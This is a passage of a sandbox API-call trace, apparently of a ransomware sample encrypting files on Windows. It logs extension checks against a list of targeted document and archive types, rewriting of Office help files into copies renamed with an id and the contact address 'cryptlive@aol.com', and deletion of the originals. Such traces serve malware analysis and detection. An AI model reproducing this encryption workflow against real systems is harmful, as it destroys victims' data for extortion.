Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0040.839] lstrlenW (lpString=".dbf") returned 4 [0040.839] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0040.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0040.840] lstrlenW (lpString=".1cd") returned 4 [0040.840] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0040.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0040.840] lstrlenW (lpString=".jpg") returned 4 [0040.840] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0040.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0040.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0040.840] lstrlenW (lpString=".doc") returned 4 [0040.840] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0040.840] lstrlenW (lpString=".docx") returned 5 [0040.840] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0040.840] lstrlenW (lpString=".pdf") returned 4 [0040.840] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0040.840] lstrlenW (lpString=".xls") returned 4 [0040.840] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0040.840] lstrlenW (lpString=".xlsx") returned 5 [0040.840] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0040.840] lstrlenW (lpString=".ppt") returned 4 [0040.840] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0040.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0040.840] lstrlenW (lpString=".zip") returned 4 [0040.840] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0040.840] lstrlenW (lpString=".rar") returned 4 [0040.840] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0040.840] lstrlenW (lpString=".bz2") returned 4 [0040.840] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0040.840] lstrlenW (lpString=".7z") returned 3 [0040.840] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0040.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0040.840] lstrlenW (lpString=".dbf") returned 4 [0040.840] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0040.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0040.840] lstrlenW (lpString=".1cd") returned 4 [0040.840] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0040.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0040.840] lstrlenW (lpString=".jpg") returned 4 [0040.841] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0040.841] lstrcmpiW (lpString1=".avi", lpString2=".LIVE") returned -1 [0040.841] lstrlenW (lpString="boxed-split.avi") returned 15 [0040.841] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0040.841] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=62976) returned 1 [0040.841] CloseHandle (hObject=0x1b0) returned 1 [0040.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0040.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0040.841] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0040.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0040.841] lstrlenW (lpString=".doc") returned 4 [0040.841] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0040.841] lstrlenW (lpString=".docx") returned 5 [0040.841] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0040.841] lstrlenW (lpString=".pdf") returned 4 [0040.842] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0040.842] lstrlenW (lpString=".xls") returned 4 [0040.842] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0040.842] lstrlenW (lpString=".xlsx") returned 5 [0040.842] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0040.842] lstrlenW (lpString=".ppt") returned 4 [0040.842] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0040.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0040.842] lstrlenW (lpString=".zip") returned 4 [0040.842] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0040.842] lstrlenW (lpString=".rar") returned 4 [0040.842] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0040.842] lstrlenW (lpString=".bz2") returned 4 [0040.842] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0040.842] lstrlenW (lpString=".7z") returned 3 [0040.842] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0040.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0040.842] lstrlenW (lpString=".dbf") returned 4 [0040.842] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0045.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0045.313] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 1 [0045.314] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0045.314] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1 [0045.314] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0045.314] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0045.314] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1 [0045.314] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0045.314] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0045.314] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0045.314] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0045.314] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0045.314] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0045.314] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0045.314] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0045.314] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0045.314] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1 [0045.314] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0045.314] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0045.314] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1 [0045.315] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0045.315] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0045.315] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0045.315] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0045.315] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0045.315] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0045.315] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0045.315] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0045.315] lstrcmpiW (lpString1=".CHM", lpString2=".LIVE") returned -1 [0045.315] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0045.317] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=27195) returned 1 [0045.317] CloseHandle (hObject=0x1e0) returned 1 [0045.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 0x20 [0045.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0045.317] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0045.317] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.317] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.317] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0045.318] GetLastError () returned 0x0 [0045.318] ReadFile (in: hFile=0x1e0, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x6a3b, lpOverlapped=0x0) returned 1 [0045.320] WriteFile (in: hFile=0x180, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x6a40, lpOverlapped=0x0) returned 1 [0045.322] ReadFile (in: hFile=0x1e0, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.322] WriteFile (in: hFile=0x180, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0045.322] SetEndOfFile (hFile=0x180) returned 1 [0045.322] CloseHandle (hObject=0x180) returned 1 [0045.324] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.324] SetEndOfFile (hFile=0x1e0) returned 1 [0045.325] CloseHandle (hObject=0x1e0) returned 1 [0045.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0045.325] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 1 [0045.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0045.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0045.325] lstrlenW (lpString=".doc") returned 4 [0045.325] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0045.325] lstrlenW (lpString=".docx") returned 5 [0045.326] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1 [0045.326] lstrlenW (lpString=".pdf") returned 4 [0045.326] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0045.326] lstrlenW (lpString=".xls") returned 4 [0045.326] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0045.326] lstrlenW (lpString=".xlsx") returned 5 [0045.326] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1 [0045.326] lstrlenW (lpString=".ppt") returned 4 [0045.326] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0045.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0045.326] lstrlenW (lpString=".zip") returned 4 [0045.326] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0045.326] lstrlenW (lpString=".rar") returned 4 [0045.326] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0045.326] lstrlenW (lpString=".bz2") returned 4 [0045.326] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0045.326] lstrlenW (lpString=".7z") returned 3 [0045.326] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0045.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0045.326] lstrlenW (lpString=".dbf") returned 4 [0045.326] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0045.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0045.326] lstrlenW (lpString=".1cd") returned 4 [0045.326] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0045.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0045.326] lstrlenW (lpString=".jpg") returned 4 [0045.326] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0045.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0045.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0045.326] lstrlenW (lpString=".doc") returned 4 [0045.326] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0045.326] lstrlenW (lpString=".docx") returned 5 [0045.326] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1 [0045.327] lstrlenW (lpString=".pdf") returned 4 [0045.327] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0045.327] lstrlenW (lpString=".xls") returned 4 [0045.327] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0045.327] lstrlenW (lpString=".xlsx") returned 5 [0045.327] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1 [0045.327] lstrlenW (lpString=".ppt") returned 4 [0045.327] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0045.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0045.327] lstrlenW (lpString=".zip") returned 4 [0045.327] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0045.327] lstrlenW (lpString=".rar") returned 4 [0045.327] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0045.327] lstrlenW (lpString=".bz2") returned 4 [0045.327] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0045.327] lstrlenW (lpString=".7z") returned 3 [0045.327] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0045.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0045.327] lstrlenW (lpString=".dbf") returned 4 [0045.327] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0045.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0045.327] lstrlenW (lpString=".1cd") returned 4 [0045.327] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0045.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0045.327] lstrlenW (lpString=".jpg") returned 4 [0045.327] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0045.327] lstrcmpiW (lpString1=".CHM", lpString2=".LIVE") returned -1 [0045.327] lstrlenW (lpString="SETUP.CHM") returned 9 [0045.327] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0045.328] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=67190) returned 1 [0045.328] CloseHandle (hObject=0x1e0) returned 1 [0045.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 0x20 [0045.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0045.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0045.329] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.329] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0045.329] GetLastError () returned 0x0 [0045.329] ReadFile (in: hFile=0x1e0, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x10676, lpOverlapped=0x0) returned 1 [0045.331] WriteFile (in: hFile=0x180, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x10680, lpOverlapped=0x0) returned 1 [0045.333] ReadFile (in: hFile=0x1e0, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.333] WriteFile (in: hFile=0x180, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0045.333] SetEndOfFile (hFile=0x180) returned 1 [0045.333] CloseHandle (hObject=0x180) returned 1 [0045.335] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.335] SetEndOfFile (hFile=0x1e0) returned 1 [0045.647] CloseHandle (hObject=0x1e0) returned 1 [0045.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0045.647] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 1 [0045.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0045.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0045.647] lstrlenW (lpString=".doc") returned 4 [0045.647] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0045.647] lstrlenW (lpString=".docx") returned 5 [0045.647] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1 [0045.647] lstrlenW (lpString=".pdf") returned 4 [0045.647] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0045.648] lstrlenW (lpString=".xls") returned 4 [0045.648] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0045.648] lstrlenW (lpString=".xlsx") returned 5 [0045.648] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1 [0045.648] lstrlenW (lpString=".ppt") returned 4 [0045.648] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0045.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0045.648] lstrlenW (lpString=".zip") returned 4 [0045.648] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0045.648] lstrlenW (lpString=".rar") returned 4 [0045.648] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0045.648] lstrlenW (lpString=".bz2") returned 4 [0045.648] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0045.648] lstrlenW (lpString=".7z") returned 3 [0045.648] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0045.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0045.648] lstrlenW (lpString=".dbf") returned 4 [0045.648] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0045.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0045.648] lstrlenW (lpString=".1cd") returned 4 [0045.648] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0045.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0045.648] lstrlenW (lpString=".jpg") returned 4 [0045.648] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0045.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0045.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0045.648] lstrlenW (lpString=".doc") returned 4 [0045.648] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0045.648] lstrlenW (lpString=".docx") returned 5 [0045.649] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1 [0045.649] lstrlenW (lpString=".pdf") returned 4 [0045.649] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0045.649] lstrlenW (lpString=".xls") returned 4 [0045.649] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0045.649] lstrlenW (lpString=".xlsx") returned 5 [0045.649] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1 [0045.649] lstrlenW (lpString=".ppt") returned 4 [0045.649] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0045.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0045.649] lstrlenW (lpString=".zip") returned 4 [0045.649] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0045.649] lstrlenW (lpString=".rar") returned 4 [0045.649] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0045.649] lstrlenW (lpString=".bz2") returned 4 [0045.649] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0045.649] lstrlenW (lpString=".7z") returned 3 [0045.649] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0045.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0045.649] lstrlenW (lpString=".dbf") returned 4 [0045.649] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0045.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 